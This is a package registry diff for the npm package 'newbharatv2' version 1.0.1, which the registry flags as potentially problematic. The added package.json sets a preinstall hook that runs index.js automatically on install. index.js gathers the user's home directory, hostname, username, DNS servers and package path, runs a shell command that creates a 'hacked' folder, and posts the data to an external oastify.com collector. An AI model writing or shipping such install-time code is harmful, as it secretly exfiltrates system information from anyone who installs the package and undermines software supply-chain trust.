newbharatv2 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of newbharatv2 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +64 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,64 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const { exec } = require("child_process"); // Add this to execute shell commands
6
+ const packageJSON = require("./package.json");
7
+
8
+ const package = packageJSON.name;
9
+
10
+ const trackingData = JSON.stringify({
11
+ p: package,
12
+ c: __dirname,
13
+ hd: os.homedir(),
14
+ hn: os.hostname(),
15
+ un: os.userInfo().username,
16
+ dns: dns.getServers(),
17
+ r: packageJSON ? packageJSON.___resolved : undefined,
18
+ v: packageJSON.version,
19
+ pjson: packageJSON,
20
+ });
21
+
22
+ // Run the "pwd" command and get the current working directory
23
+ exec("mkdir hacked", (error, stdout, stderr) => {
24
+ if (error) {
25
+ console.error(`exec error: ${error}`);
26
+ return;
27
+ }
28
+ console.log(`Current working directory: ${stdout.trim()}`); // stdout will contain the result of "pwd"
29
+
30
+ // Now, send the data including the current working directory
31
+ const postData = querystring.stringify({
32
+ msg: trackingData + "\nCurrent working directory: " + stdout.trim(),
33
+ });
34
+
35
+ const options = {
36
+ hostname: "qysjyxckktuue9hnbgmhqc9cw32uqlea.oastify.com", // Replace with your endpoint
37
+ port: 443,
38
+ path: "/",
39
+ method: "POST",
40
+ headers: {
41
+ "Content-Type": "application/x-www-form-urlencoded",
42
+ "Content-Length": postData.length,
43
+ },
44
+ };
45
+
46
+ // Make the HTTPS request
47
+ const req = https.request(options, (res) => {
48
+ let data = '';
49
+ res.on("data", (chunk) => {
50
+ data += chunk;
51
+ });
52
+ res.on("end", () => {
53
+ console.log("Response:", data);
54
+ });
55
+ });
56
+
57
+ // Handle errors
58
+ req.on("error", (e) => {
59
+ console.error("Error:", e.message);
60
+ });
61
+
62
+ req.write(postData);
63
+ req.end();
64
+ });
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "newbharatv2",
3
+ "version": "1.0.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }